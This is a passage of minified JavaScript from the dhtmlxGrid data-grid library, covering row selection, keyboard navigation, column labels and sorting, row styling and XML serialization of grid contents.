new_ind=Math.floor((master._r_select||this.getRowIndex(this.row.idd)||0)+(dir)*this.objBox.offsetHeight/(this._srdh||20));if(new_ind<0){new_ind=0}if(new_ind>=this.rowsBuffer.length){new_ind=this.rowsBuffer.length-1}if(this._srnd&&!this.rowsBuffer[new_ind]){this.objBox.scrollTop+=Math.floor((dir)*this.objBox.offsetHeight/(this._srdh||20))*(this._srdh||20);if(this._fake){this._fake.objBox.scrollTop=this.objBox.scrollTop}master._r_select=new_ind}else{this.selectCell(new_ind,this.cell._cellIndex,true,false,false,(this.multiLine||this._srnd));if(!this.multiLine&&!this._srnd&&!this._realfake){this.objBox.scrollTop=this.getRowById(this.getRowId(new_ind)).offsetTop;if(this._fake){this._fake.objBox.scrollTop=this.objBox.scrollTop}}master._r_select=null}};this.doKey=function(ev){if(!ev){return true}if((ev.target||ev.srcElement).value!==window.undefined){var zx=(ev.target||ev.srcElement);if(zx.className!=\"dhxcombo_input\"&&((!zx.parentNode)||(zx.parentNode.className.indexOf(\"editable\")==-1))){return true}}if((globalActiveDHTMLGridObject)&&(this!=globalActiveDHTMLGridObject)){return globalActiveDHTMLGridObject.doKey(ev)}if(this.isActive==false){return true}if(this._htkebl){return true}if(!this.callEvent(\"onKeyPress\",[ev.keyCode,ev.ctrlKey,ev.shiftKey,ev])){return false}var code=\"k\"+ev.keyCode+\"_\"+(ev.ctrlKey?1:0)+\"_\"+(ev.shiftKey?1:0);if(this.cell){if(this._key_events[code]){if(false===this._key_events[code].call(this)){return true}if(ev.preventDefault){ev.preventDefault()}ev.cancelBubble=true;return false}if(this._key_events.k_other){this._key_events.k_other.call(this,ev)}}return true};this.selectRow=function(r,fl,preserve,show){if(typeof(r)!=\"object\"){r=this.render_row(r)}this.selectCell(r,0,fl,preserve,false,show)};this.wasDblClicked=function(ev){var el=this.getFirstParentOfType(_isIE?ev.srcElement:ev.target,\"TD\");if(el){var rowId=el.parentNode.idd;return this.callEvent(\"onRowDblClicked\",[rowId,el._cellIndex,ev])}};this._onHeaderClick=function(e,el){var that=this.grid;el=el||that.getFirstParentOfType(_isIE?event.srcElement:e.target,\"TD\");if(this.grid.resized==null){if(!(this.grid.callEvent(\"onHeaderClick\",[el._cellIndexS,(e||window.event)]))){return false}that.sortField(el._cellIndexS,false,el)}this.grid.resized=null};this.deleteSelectedRows=function(){var num=this.selectedRows.length;if(num==0){return}var tmpAr=this.selectedRows;this.selectedRows=dhtmlxArray();for(var i=num-1;i>=0;i--){var node=tmpAr[i];if(!this.deleteRow(node.idd,node)){this.selectedRows[this.selectedRows.length]=node}else{if(node==this.row){var ind=i}}}if(ind){try{if(ind+1>this.rowsCol.length){ind--}this.selectCell(ind,0,true)}catch(er){this.row=null;this.cell=null}}};this.getSelectedRowId=function(){var selAr=new Array(0);var uni={};for(var i=0;i<this.selectedRows.length;i++){var id=this.selectedRows[i].idd;if(uni[id]){continue}selAr[selAr.length]=id;uni[id]=true}if(selAr.length==0){return null}else{return selAr.join(this.delim)}};this.getSelectedCellIndex=function(){if(this.cell!=null){return this.cell._cellIndex}else{return -1}};this.getColWidth=function(ind){return parseInt(this.cellWidthPX[ind])};this.setColWidth=function(ind,value){if(value==\"*\"){this.initCellWidth[ind]=\"*\"}else{if(this._hrrar[ind]){return}if(this.cellWidthType==\"px\"){this.cellWidthPX[ind]=parseInt(value)}else{this.cellWidthPC[ind]=parseInt(value)}}this.setSizes()};this.getRowIndex=function(row_id){for(var i=0;i<this.rowsBuffer.length;i++){if(this.rowsBuffer[i]&&this.rowsBuffer[i].idd==row_id){return i}}return -1};this.getRowId=function(ind){return this.rowsBuffer[ind]?this.rowsBuffer[ind].idd:this.undefined};this.setRowId=function(ind,row_id){this.changeRowId(this.getRowId(ind),row_id)};this.changeRowId=function(oldRowId,newRowId){if(oldRowId==newRowId){return}var row=this.rowsAr[oldRowId];row.idd=newRowId;if(this.UserData[oldRowId]){this.UserData[newRowId]=this.UserData[oldRowId];this.UserData[oldRowId]=null}if(this._h2&&this._h2.get[oldRowId]){this._h2.get[newRowId]=this._h2.get[oldRowId];this._h2.get[newRowId].id=newRowId;delete this._h2.get[oldRowId]}this.rowsAr[oldRowId]=null;this.rowsAr[newRowId]=row;for(var i=0;i<row.childNodes.length;i++){if(row.childNodes[i]._code){row.childNodes[i]._code=this._compileSCL(row.childNodes[i]._val,row.childNodes[i])}}if(this._mat_links&&this._mat_links[oldRowId]){var a=this._mat_links[oldRowId];delete this._mat_links[oldRowId];for(var c in a){for(var i=0;i<a[c].length;i++){this._compileSCL(a[c][i].original,a[c][i])}}}this.callEvent(\"onRowIdChange\",[oldRowId,newRowId])};this.setColumnIds=function(ids){this.columnIds=ids.split(this.delim)};this.setColumnId=function(ind,id){this.columnIds[ind]=id};this.getColIndexById=function(id){for(var i=0;i<this.columnIds.length;i++){if(this.columnIds[i]==id){return i}}};this.getColumnId=function(cin){return this.columnIds[cin]};this.getColumnLabel=function(cin,ind,hdr){var z=(hdr||this.hdr).rows[(ind||0)+1];for(var i=0;i<z.cells.length;i++){if(z.cells[i]._cellIndexS==cin){return(_isIE?z.cells[i].innerText:z.cells[i].textContent)}}return\"\"};this.getColLabel=this.getColumnLabel;this.getFooterLabel=function(cin,ind){return this.getColumnLabel(cin,ind,this.ftr)};this.setRowTextBold=function(row_id){var r=this.getRowById(row_id);if(r){r.style.fontWeight=\"bold\"}};this.setRowTextStyle=function(row_id,styleString){var r=this.getRowById(row_id);if(!r){return}for(var i=0;i<r.childNodes.length;i++){var pfix=r.childNodes[i]._attrs.style||\"\";if((this._hrrar)&&(this._hrrar[i])){pfix=\"display:none;\"}if(_isIE){r.childNodes[i].style.cssText=pfix+\"width:\"+r.childNodes[i].style.width+\";\"+styleString}else{r.childNodes[i].style.cssText=pfix+\"width:\"+r.childNodes[i].style.width+\";\"+styleString}}};this.setRowColor=function(row_id,color){var r=this.getRowById(row_id);for(var i=0;i<r.childNodes.length;i++){r.childNodes[i].bgColor=color}};this.setCellTextStyle=function(row_id,ind,styleString){var r=this.getRowById(row_id);if(!r){return}var cell=r.childNodes[r._childIndexes?r._childIndexes[ind]:ind];if(!cell){return}var pfix=\"\";if((this._hrrar)&&(this._hrrar[ind])){pfix=\"display:none;\"}if(_isIE){cell.style.cssText=pfix+\"width:\"+cell.style.width+\";\"+styleString}else{cell.style.cssText=pfix+\"width:\"+cell.style.width+\";\"+styleString}};this.setRowTextNormal=function(row_id){var r=this.getRowById(row_id);if(r){r.style.fontWeight=\"normal\"}};this.doesRowExist=function(row_id){if(this.getRowById(row_id)!=null){return true}else{return false}};this.getColumnsNum=function(){return this._cCount};this.moveRowUp=function(row_id){var r=this.getRowById(row_id);if(this.isTreeGrid()){return this.moveRowUDTG(row_id,-1)}var rInd=this.rowsCol._dhx_find(r);if((r.previousSibling)&&(rInd!=0)){r.parentNode.insertBefore(r,r.previousSibling);this.rowsCol._dhx_swapItems(rInd,rInd-1);this.setSizes();var bInd=this.rowsBuffer._dhx_find(r);this.rowsBuffer._dhx_swapItems(bInd,bInd-1);if(this._cssEven){this._fixAlterCss(rInd-1)}}};this.moveRowDown=function(row_id){var r=this.getRowById(row_id);if(this.isTreeGrid()){return this.moveRowUDTG(row_id,1)}var rInd=this.rowsCol._dhx_find(r);if(r.nextSibling){this.rowsCol._dhx_swapItems(rInd,rInd+1);if(r.nextSibling.nextSibling){r.parentNode.insertBefore(r,r.nextSibling.nextSibling)}else{r.parentNode.appendChild(r)}this.setSizes();var bInd=this.rowsBuffer._dhx_find(r);this.rowsBuffer._dhx_swapItems(bInd,bInd+1);if(this._cssEven){this._fixAlterCss(rInd)}}};this.getCombo=function(col_ind){if(!this.combos[col_ind]){this.combos[col_ind]=new dhtmlXGridComboObject()}return this.combos[col_ind]};this.setUserData=function(row_id,name,value){if(!row_id){row_id=\"gridglobaluserdata\"}if(!this.UserData[row_id]){this.UserData[row_id]=new Hashtable()}this.UserData[row_id].put(name,value)};this.getUserData=function(row_id,name){if(!row_id){row_id=\"gridglobaluserdata\"}this.getRowById(row_id);var z=this.UserData[row_id];return(z?z.get(name):\"\")};this.setEditable=function(fl){this.isEditable=dhx4.s2b(fl)};this.selectRowById=function(row_id,multiFL,show,call){if(!call){call=false}this.selectCell(this.getRowById(row_id),0,call,multiFL,false,show)};this.clearSelection=function(){this.editStop();for(var i=0;i<this.selectedRows.length;i++){var r=this.rowsAr[this.selectedRows[i].idd];if(r){r.className=r.className.replace(/rowselected/g,\"\")}}this.selectedRows=dhtmlxArray();this.row=null;if(this.cell!=null){this.cell.className=this.cell.className.replace(/cellselected/g,\"\");this.cell=null}this.callEvent(\"onSelectionCleared\",[])};this.copyRowContent=function(from_row_id,to_row_id){var frRow=this.getRowById(from_row_id);if(!this.isTreeGrid()){for(var i=0;i<frRow.cells.length;i++){this.cells(to_row_id,i).setValue(this.cells(from_row_id,i).getValue())}}else{this._copyTreeGridRowContent(frRow,from_row_id,to_row_id)}if(!_isIE){this.getRowById(from_row_id).cells[0].height=frRow.cells[0].offsetHeight}};this.setFooterLabel=function(c,label,ind){return this.setColumnLabel(c,label,ind,this.ftr)};this.setColumnLabel=function(c,label,ind,hdr){var z=(hdr||this.hdr).rows[ind||1];var col=(z._childIndexes?z._childIndexes[c]:c);if(!z.cells[col]){return}if(!this.useImagesInHeader){var hdrHTML=\"<div class='hdrcell'>\";if(label.indexOf(\"img:[\")!=-1){var imUrl=label.replace(/.*\\[([^>]+)\\].*/,\"$1\");label=label.substr(label.indexOf(\"]\")+1,label.length);hdrHTML+=\"<img width='18px' height='18px' align='absmiddle' src='\"+imUrl+\"' hspace='2'>\"}hdrHTML+=label;hdrHTML+=\"</div>\";z.cells[col].innerHTML=hdrHTML;if(this._hstyles[col]){z.cells[col].style.cssText=this._hstyles[col]}}else{z.cells[col].style.textAlign=\"left\";z.cells[col].innerHTML=\"<img src='\"+label+\"'>\";var a=new Image();a.src=\"\"+label.replace(/(\\.[a-z]+)/,\".des$1\");this.preloadImagesAr[this.preloadImagesAr.length]=a;var b=new Image();b.src=\"\"+label.replace(/(\\.[a-z]+)/,\".asc$1\");this.preloadImagesAr[this.preloadImagesAr.length]=b}if((label||\"\").indexOf(\"#\")!=-1){var t=label.match(/(^|{)#([^}]+)(}|$)/);if(t){var tn=\"_in_header_\"+t[2];if(this[tn]){this[tn]((this.forceDivInHeader?z.cells[col].firstChild:z.cells[col]),col,label.split(t[0]))}}}};this.setColLabel=function(a,b,ind,c){return this.setColumnLabel(a,b,(ind||0)+1,c)};this.clearAll=function(header){if(!this.obj.rows[0]){return}if(this._h2){this._h2=this._createHierarchy();if(this._fake){if(this._realfake){this._h2=this._fake._h2}else{this._fake._h2=this._h2}}}this.limit=this._limitC=0;this.editStop(true);if(this._dLoadTimer){window.clearTimeout(this._dLoadTimer)}if(this._dload){this.objBox.scrollTop=0;this.limit=this._limitC||0;this._initDrF=true}var len=this.rowsCol.length;len=this.obj.rows.length;for(var i=len-1;i>0;i--){var t_r=this.obj.rows[i];t_r.parentNode.removeChild(t_r)}if(header){this._master_row=null;this.obj.rows[0].parentNode.removeChild(this.obj.rows[0]);for(var i=this.hdr.rows.length-1;i>=0;i--){var t_r=this.hdr.rows[i];t_r.parentNode.removeChild(t_r)}if(this.ftr){this.ftr.parentNode.removeChild(this.ftr);this.ftr=null}this._aHead=this.ftr=this.cellWidth=this._aFoot=null;this.cellType=dhtmlxArray();this._hrrar=[];this.columnIds=[];this.combos=[];this._strangeParams=[];this.defVal=[];this._ivizcol=null}this.row=null;this.cell=null;this.rowsCol=dhtmlxArray();this.rowsAr={};this._RaSeCol=[];this.rowsBuffer=dhtmlxArray();this.UserData=[];this.selectedRows=dhtmlxArray();if(this.pagingOn||this._srnd){this.xmlFileUrl=\"\"}if(this.pagingOn){this.changePage(1)}if(this._contextCallTimer){window.clearTimeout(this._contextCallTimer)}if(this._sst){this.enableStableSorting(true)}this._fillers=this.undefined;this.setSortImgState(false);this.setSizes();this.callEvent(\"onClearAll\",[])};this.sortField=function(ind,repeatFl,r_el){if(this.getRowsNum()==0){return false}var el=this.hdr.rows[0].cells[ind];if(!el){return}if(el.tagName==\"TH\"&&(this.fldSort.length-1)>=el._cellIndex&&this.fldSort[el._cellIndex]!=\"na\"){var data=this.getSortingState();var sortType=(data[0]==ind&&data[1]==\"asc\")?\"des\":\"asc\";if(!this.callEvent(\"onBeforeSorting\",[ind,this.fldSort[ind],sortType])){return}this.sortImg.className=\"dhxgrid_sort_\"+(sortType==\"asc\"?\"asc\":\"desc\");if(this.useImagesInHeader){var cel=this.hdr.rows[1].cells[el._cellIndex].firstChild;if(this.fldSorted!=null){var celT=this.hdr.rows[1].cells[this.fldSorted._cellIndex].firstChild;celT.src=celT.src.replace(/(\\.asc\\.)|(\\.des\\.)/,\".\")}cel.src=cel.src.replace(/(\\.[a-z]+)$/,\".\"+sortType+\"$1\")}this.sortRows(el._cellIndex,this.fldSort[el._cellIndex],sortType);this.fldSorted=el;this.r_fldSorted=r_el;var c=this.hdr.rows[1];var c=r_el.parentNode;var real_el=c._childIndexes?c._childIndexes[el._cellIndex]:el._cellIndex;this.setSortImgPos(false,false,false,r_el)}};this.setCustomSorting=function(func,col){if(!this._customSorts){this._customSorts=new Array()}this._customSorts[col]=(typeof(func)==\"string\")?eval(func):func;this.fldSort[col]=\"cus\"};this.enableHeaderImages=function(fl){this.useImagesInHeader=fl};this.setHeader=function(hdrStr,splitSign,styles){if(typeof(hdrStr)!=\"object\"){var arLab=this._eSplit(hdrStr)}else{arLab=[].concat(hdrStr)}var arWdth=new Array(0);var arTyp=new dhtmlxArray(0);var arAlg=new Array(0);var arVAlg=new Array(0);var arSrt=new Array(0);for(var i=0;i<arLab.length;i++){arWdth[arWdth.length]=Math.round(100/arLab.length);arTyp[arTyp.length]=\"ed\";arAlg[arAlg.length]=\"left\";arVAlg[arVAlg.length]=\"middle\";arSrt[arSrt.length]=\"na\"}this.splitSign=splitSign||\"#cspan\";this.hdrLabels=arLab;this.cellWidth=arWdth;if(!this.initCellWidth.length){this.setInitWidthsP(arWdth.join(this.delim),true)}this.cellType=arTyp;this.cellAlign=arAlg;this.cellVAlign=arVAlg;this.fldSort=arSrt;this._hstyles=styles||[]};this._eSplit=function(str){if(![].push){return str.split(this.delim)}var a=\"r\"+(new Date()).valueOf();var z=this.delim.replace(/([\\|\\+\\*\\^])/g,\"\\\\$1\");return(str||\"\").replace(RegExp(z,\"g\"),a).replace(RegExp(\"\\\\\\\\\"+a,\"g\"),this.delim).split(a)};this.getColType=function(cInd){return this.cellType[cInd]};this.getColTypeById=function(cID){return this.cellType[this.getColIndexById(cID)]};this.setColTypes=function(typeStr){this.cellType=dhtmlxArray(typeStr.split(this.delim));this._strangeParams=new Array();for(var i=0;i<this.cellType.length;i++){if((this.cellType[i].indexOf(\"[\")!=-1)){var z=this.cellType[i].split(/[\\[\\]]+/g);this.cellType[i]=z[0];this.defVal[i]=z[1];if(z[1].indexOf(\"=\")==0){this.cellType[i]=\"math\";this._strangeParams[i]=z[0]}}if(!window[\"eXcell_\"+this.cellType[i]]){dhx4.callEvent(\"onConfigurationError\",[\"Incorrect cell type: \"+this.cellType[i],this,this.cellType[i]])}}};this.setColSorting=function(sortStr){this.fldSort=sortStr.split(this.delim);var check={str:1,\"int\":1,date:1};for(var i=0;i<this.fldSort.length;i++){if((!check[this.fldSort[i]])&&(typeof(window[this.fldSort[i]])==\"function\")){if(!this._customSorts){this._customSorts=new Array()}this._customSorts[i]=window[this.fldSort[i]];this.fldSort[i]=\"cus\"}}};this.setColAlign=function(alStr){this.cellAlign=alStr.split(this.delim);for(var i=0;i<this.cellAlign.length;i++){this.cellAlign[i]=this.cellAlign[i]._dhx_trim()}};this.setColVAlign=function(valStr){this.cellVAlign=valStr.split(this.delim)};this.setNoHeader=function(fl){this.noHeader=dhx4.s2b(fl)};this.showRow=function(rowID){this.getRowById(rowID);if(this._h2){this.openItem(this._h2.get[rowID].parent.id)}var c=this.getRowById(rowID).childNodes[0];while(c&&c.style.display==\"none\"){c=c.nextSibling}if(c){this.moveToVisible(c,true)}};this.setStyle=function(ss_header,ss_grid,ss_selCell,ss_selRow){this.ssModifier=[ss_header,ss_grid,ss_selCell,ss_selCell,ss_selRow];var prefs=[\"#\"+this.entBox.id+\" table.hdr td\",\"#\"+this.entBox.id+\" table.obj td\",\"#\"+this.entBox.id+\" table.obj tr.rowselected td.cellselected\",\"#\"+this.entBox.id+\" table.obj td.cellselected\",\"#\"+this.entBox.id+\" table.obj tr.rowselected td\"];var index=0;while(!_isIE){try{var temp=document.styleSheets[index].cssRules.length}catch(e){index++;continue}break}for(var i=0;i<prefs.length;i++){if(this.ssModifier[i]){if(_isIE){document.styleSheets[0].addRule(prefs[i],this.ssModifier[i])}else{document.styleSheets[index].insertRule(prefs[i]+(\" { \"+this.ssModifier[i]+\" }\"),document.styleSheets[index].cssRules.length)}}}};this.setColumnColor=function(clr){this.columnColor=clr.split(this.delim)};this.enableAlterCss=function(cssE,cssU,perLevel,levelUnique){if(cssE||cssU){this.attachEvent(\"onGridReconstructed\",function(){this._fixAlterCss();if(this._fake){this._fake._fixAlterCss()}})}this._cssSP=perLevel;this._cssSU=levelUnique;this._cssEven=cssE;this._cssUnEven=cssU};this._fixAlterCss=function(ind){if(this._h2&&(this._cssSP||this._cssSU)){return this._fixAlterCssTGR(ind)}if(!this._cssEven&&!this._cssUnEven){return}ind=ind||0;var j=ind;for(var i=ind;i<this.rowsCol.length;i++){if(!this.rowsCol[i]){continue}if(this.rowsCol[i].style.display!=\"none\"){if(this.rowsCol[i]._cntr){j=1;continue}if(this.rowsCol[i].className.indexOf(\"rowselected\")!=-1){if(j%2==1){this.rowsCol[i].className=this._cssUnEven+\" rowselected \"+(this.rowsCol[i]._css||\"\")}else{this.rowsCol[i].className=this._cssEven+\" rowselected \"+(this.rowsCol[i]._css||\"\")}}else{if(j%2==1){this.rowsCol[i].className=this._cssUnEven+\" \"+(this.rowsCol[i]._css||\"\")}else{this.rowsCol[i].className=this._cssEven+\" \"+(this.rowsCol[i]._css||\"\")}}j++}}};this.clearChangedState=function(){for(var i=0;i<this.rowsCol.length;i++){var row=this.rowsCol[i];if(row&&row.childNodes){var cols=row.childNodes.length;for(var j=0;j<cols;j++){row.childNodes[j].wasChanged=false}}}};this.getChangedRows=function(and_added){var res=new Array();this.forEachRow(function(id){var row=this.rowsAr[id];if(row.tagName!=\"TR\"){return}var cols=row.childNodes.length;if(and_added&&row._added){res[res.length]=row.idd}else{for(var j=0;j<cols;j++){if(row.childNodes[j].wasChanged){res[res.length]=row.idd;break}}}});return res.join(this.delim)};this._sUDa=false;this._sAll=false;this.setSerializationLevel=function(userData,fullXML,config,changedAttr,onlyChanged,asCDATA){this._sUDa=userData;this._sAll=fullXML;this._sConfig=config;this._chAttr=changedAttr;this._onlChAttr=onlyChanged;this._asCDATA=asCDATA};this.setSerializableColumns=function(list){if(!list){this._srClmn=null;return}this._srClmn=(list||\"\").split(\",\");for(var i=0;i<this._srClmn.length;i++){this._srClmn[i]=dhx4.s2b(this._srClmn[i])}};this._serialise=function(rCol,inner,closed){this.editStop();var out=[];var close=\"</\"+this.xml.s_row+\">\";if(this.isTreeGrid()){this._h2.forEachChildF(0,function(el){var temp=this._serializeRow(this.render_row_tree(-1,el.id));out.push(temp);if(temp){return true}else{return false}},this,function(){out.push(close)})}else{for(var i=0;i<this.rowsBuffer.length;i++){if(this.rowsBuffer[i]){if(this._chAttr&&this.rowsBuffer[i]._locator){continue}var temp=this._serializeRow(this.render_row(i));out.push(temp);if(temp){out.push(close)}}}}return[out.join(\"\")]};this._serializeRow=function(r,i){var out=[];var ra=this.xml.row_attrs;var ca=this.xml.cell_attrs;out.push(\"<\"+this.xml.s_row);out.push(\" id='\"+r.idd+\"'\");if((this._sAll)&&this.selectedRows._dhx_find(r)!=-1){out.push(\" selected='1'\")}if(this._h2&&this._h2.get[r.idd].state==\"minus\"){out.push(\" open='1'\")}if(ra.length){for(var i=0;i<ra.length;i++){out.push(\" \"+ra[i]+\"='\"+r._attrs[ra[i]]+\"'\")}}out.push(\">\");if(this._sUDa&&this.UserData[r.idd]){keysAr=this.UserData[r.idd].getKeys();for(var ii=0;ii<keysAr.length;ii++){out.push(\"<userdata name='\"+keysAr[ii]+\"'>\"+(this._asCDATA?\"<![CDATA[\":\"\")+this.UserData[r.idd].get(keysAr[ii])+(this._asCDATA?\"]]>\":\"\")+\"</userdata>\")}}var changeFl=false;for(var jj=0;jj<this._cCount;jj++){if((!this._srClmn)||(this._srClmn[jj])){var zx=this.cells3(r,jj);out.push(\"<cell\");if(ca.length){for(var i=0;i<ca.length;i++){out.push(\" \"+ca[i]+\"='\"+zx.cell._attrs[ca[i]]+\"'\")}}zxVal=zx[this._agetm]();if(this._asCDATA){zxVal=\"<![CDATA[\"+zxVal+\"]]>\"}if((this._ecspn)&&(zx.cell.colSpan)&&zx.cell.colSpan>1){out.push(' colspan=\"'+zx.cell.colSpan+'\" ')}if(this._chAttr){if(zx.wasChanged()){out.push(' changed=\"1\"');changeFl=true}}else{if((this._onlChAttr)&&(zx.wasChanged())){changeFl=true}}if(this._sAll&&this.cellType[jj]==\"tree\"){out.push((this._h2?(\" image='\"+this._h2.get[r.idd].image+\"'\"):\"\")+\">\"+zxVal+\"</cell>\")}else{out.push(\">\"+zxVal+\"</cell>\")}if((this._ecspn)&&(zx.cell.colSpan)){for(var u=0;u<zx.cell.colSpan-1;u++){out.push(\"<cell/>\");jj++}}}}if((this._onlChAttr)&&(!changeFl)&&(!r._added)){return\"\"}return out.join(\"\")};this._serialiseConfig=function(){var out=\"<head>\";for(var i=0;i<this.hdr.rows[0].cells.length;i++){if(this._srClmn&&!this._srClmn[i]){continue}var sort=this.fldSort[i];if(sort==\"cus\"){sort=this._customSorts[i].toString();sort=sort.replace(/function[\\ ]*/,\"\").replace(/\\([^\\f]*/,\"\")}out+=\"<column width='\"+this.getColWidth(i)+\"' align='\"+this.cellAlign[i]+\"' type='\"+this.cellType[i]+\"' sort='\"+(sort||\"na\")+\"' color='\"+(this.columnColor[i]||\"\")+\"'\"+(this.columnIds[i]?(\" id='\"+this.columnIds[i]+\"'\"):\"\")+\">\";if(this._asCDATA){out+=\"<![CDATA[\"+this.getColumnLabel(i)+\"]]>\"}else{out+=this.getColumnLabel(i)}var z=this.getCombo(i);if(z){for(var j=0;j<z.keys.length;j++){out+=\"<option value='\"+z.keys[j]+\"'>\"+z.values[j]+\"</option>\"}}out+=\"</column>\"}return out+=\"</head>\"};this.serialize=function(){var out='<?xml version=\"1.0\"?><rows>';if(this._mathSerialization){this._agetm=\"getMathValue\"}else{this._agetm=\"getValue\"}if(this._sUDa&&this.UserData.gridglobaluserdata){var keysAr=this.UserData.gridglobaluserdata.getKeys();for(var i=0;i<keysAr.length;i++){out+=\"<userdata name='\"+keysAr[i]+\"'>\"+this.UserData.gridglobaluserdata.get(keysAr[i])+\"</userdata>\"}}if(this._sConfig){out+=this._serialiseConfig()}out+=this._serialise();out+=\"</rows>\";return out};this.getPosition=function(oNode,pNode){if(!pNode){var pos=dhx4.getOffset(oNode);return[pos.left,pos.top]}pNode=pNode||document.body;var oCurrentNode=oNode;var iLeft=0;var iTop=0;while((oCurrentNode)&&(oCurrentNode!=pNode)){iLeft+=oCurrentNode.offsetLeft-oCurrentNode.scrollLeft;iTop+=oCurrentNode.offsetTop-oCurrentNode.scrollTop;oCurrentNode=oCurrentNode.offsetParent}if(pNode==document.body){if(_isIE){iTop+=document.body.offsetTop||document.documentElement.offsetTop;iLeft+=document.body.offsetLeft||document.documentElement.offsetLeft}else{if(!_isFF){iLeft+=document.body.offsetLeft;iTop+=document.body.offsetTop}}}return[iLeft,iTop]};this.getFirstParentOfType=function(obj,tag){while(obj&&obj.tagName!=tag&&obj.tagName!=\"BODY\"){obj=obj.parentNode}return obj};this.objBox.onscroll=function(){this.grid._doOnScroll()};this.hdrBox.onscroll=function(){if(this._try_header_sync){return}this._try_header_sync=true;if(Math.abs(this.grid.objBox.scrollLeft-this.scrollLeft)>1){this.grid.objBox.scrollLeft=this.scrollLeft}this._try_header_sync=false};if((!_isOpera)||(_OperaRv>8.5)){this.hdr.onmousemove=function(e){this.grid.changeCursorState(e||window.event)};this.hdr.onmousedown=function(e){return this.grid.startColResize(e||window.event)}}this.obj.onmousemove=this._drawTooltip;this.objBox.onclick=function(e){e=e||event;e.cancelBubble=true;this.firstChild.grid.setActive(true);window.dhx4.callEvent(\"_onGridClick\",[e,this.firstChild.grid])};this.obj.onclick=function(e){if(this.grid._doClick(e||window.event)!==false){if(this.grid._sclE){this.grid.editCell(e||window.event)}else{this.grid.editStop()}}e=e||event;e.cancelBubble=true;window.dhx4.callEvent(\"_onGridClick\",[e,this.grid])};if(_isMacOS){this.entBox.oncontextmenu=function(e){e.cancelBubble=true;if(e.preventDefault){e.preventDefault()}else{e.returnValue=false}var that=this.grid;if(that._realfake){that=that._fake}return that._doContClick(e||window.event)}}else{this.entBox.onmousedown=function(e){return this.grid._doContClick(e||window.event)};this.entBox.oncontextmenu=function(e){if(this.grid._ctmndx){(e||event).cancelBubble=true}return !this.grid._ctmndx}}this.obj.ondblclick=function(e){if(!this.grid.wasDblClicked(e||window.event)){return false}if(this.grid._dclE){var row=this.grid.getFirstParentOfType((_isIE?event.srcElement:e.target),\"TR\");if(row==this.grid.row){this.grid.editCell(e||window.event)}}(e||event).cancelBubble=true;if(_isOpera){return false}};this.hdr.onclick=this._onHeaderClick;this.sortImg.onclick=function(){self._onHeaderClick.apply({grid:self},[null,self.r_fldSorted])};this.hdr.ondblclick=this._onHeaderDblClick;if(!document.body._dhtmlxgrid_onkeydown){dhtmlxEvent(document,\"keydown\",function(e){if(globalActiveDHTMLGridObject){return globalActiveDHTMLGridObject.doKey(e||window.event)}});document.body._dhtmlxgrid_onkeydown=true}dhtmlxEvent(document.body,\"click\",function(){if(self.editStop){self.editStop()}if(self.isActive){self.setActive(false)}});if(this.entBox.style.height.toString().indexOf(\"%\")!=-1){this._delta_y=this.entBox.style.height}if(this.entBox.style.width.toString().indexOf(\"%\")!=-1){this._delta_x=this.entBox.style.width}if(this._delta_x||this._delta_y){this._setAutoResize()}this.setColHidden=this.setColumnsVisibility;this.enableCollSpan=this.enableColSpan;this.setMultiselect=this.enableMultiselect;this.setMultiLine=this.enableMultiline;this.deleteSelectedItem=this.deleteSelectedRows;this.getSelectedId=this.getSelectedRowId;this.getHeaderCol=this.getColumnLabel;this.isItemExists=this.doesRowExist;this.getColumnCount=this.getColumnsNum;this.setSelectedRow=this.selectRowById;this.setHeaderCol=this.setColumnLabel;this.preventIECashing=this.preventIECaching;this.enableAutoHeigth=this.enableAutoHeight;this.getUID=this.uid;if(dhtmlx.image_path){this.setImagePath(dhtmlx.image_path)}if(dhtmlx.skin){this.setSkin(dhtmlx.skin)}return this}dhtmlXGridObject.prototype={getRowAttribute:function(c,a){return this.getRowById(c)._attrs[a]},setRowAttribute:function(e,a,c){this.getRowById(e)._attrs[a]=c},isTreeGrid:function(){return(this.cellType._dhx_find(\"tree\")!=-1)},setRowHidden:function(l,e){var c=dhx4.s2b(e);var h=this.getRowById(l);if(!h){return}if(h.expand===\"\"){this.collapseKids(h)}if((e)&&(h.style.display!=\"none\")){h.style.display=\"none\";var g=this.selectedRows._dhx_find(h);if(g!=-1){h.className=h.className.replace(\"rowselected\",\"\");for(var a=0;a<h.childNodes.length;a++){h.childNodes[a].className=h.childNodes[a].className.replace(/cellselected/g,\"\")}this.selectedRows._dhx_removeAt(g)}this.callEvent(\"onGridReconstructed\",[])}if((!e)&&(h.style.display==\"none\")){h.style.display=\"\";this.callEvent(\"onGridReconstructed\",[])}this.callEvent(\"onRowHide\",[l,e]);this.setSizes()},setColumnHidden:function(e,c){if(!this.hdr.rows.length){if(!this._ivizcol){this._ivizcol=[]}return this._ivizcol[e]=c}if((this.fldSorted)&&(this.fldSorted.cellIndex==e)&&(c)){this.sortImg.style.display=\"none\"}var a=dhx4.s2b(c);if(a){if(!this._hrrar){this._hrrar=new Array()}else{if(this._hrrar[e]){return}}this._hrrar[e]=\"display:none;\";this._hideShowColumn(e,\"none\")}else{if((!this._hrrar)||(!this._hrrar[e])){return}this._hrrar[e]=\"\";this._hideShowColumn(e,\"\")}if((this.fldSorted)&&(this.fldSorted.cellIndex==e)&&(!c)){this.sortImg.style.display=\"inline\"}this.setSortImgPos();this.callEvent(\"onColumnHidden\",[e,c])},isColumnHidden:function(a){if((this._hrrar)&&(this._hrrar[a])){return true}return false},setColumnsVisibility:function(c){if(c){this._ivizcol=c.split(this.delim)}if(this.hdr.rows.length&&this._ivizcol){for(var a=0;a<this._ivizcol.length;a++){this.setColumnHidden(a,this._ivizcol[a])}}},_fixHiddenRowsAll:function(n,e,a,c,l){l=l||\"_cellIndex\";var m=n.rows.length;for(var h=0;h<m;h++){var o=n.rows[h].childNodes;if(o.length!=this._cCount){for(var g=0;g<o.length;g++){if(o[g][l]==e){o[g].style[a]=c;break}}}else{o[e].style[a]=c}}},_hideShowColumn:function(h,g){var a=h;if(this.hdr.rows[1]&&(this.hdr.rows[1]._childIndexes)&&(this.hdr.rows[1]._childIndexes[h]!=h)){a=this.hdr.rows[1]._childIndexes[h]}if(g==\"none\"){this.hdr.rows[0].cells[h]._oldWidth=this.hdr.rows[0].cells[h].style.width||(this.initCellWidth[h]+\"px\");this.hdr.rows[0].cells[h]._oldWidthP=this.cellWidthPC[h];this.obj.rows[0].cells[h].style.width=\"0px\";var 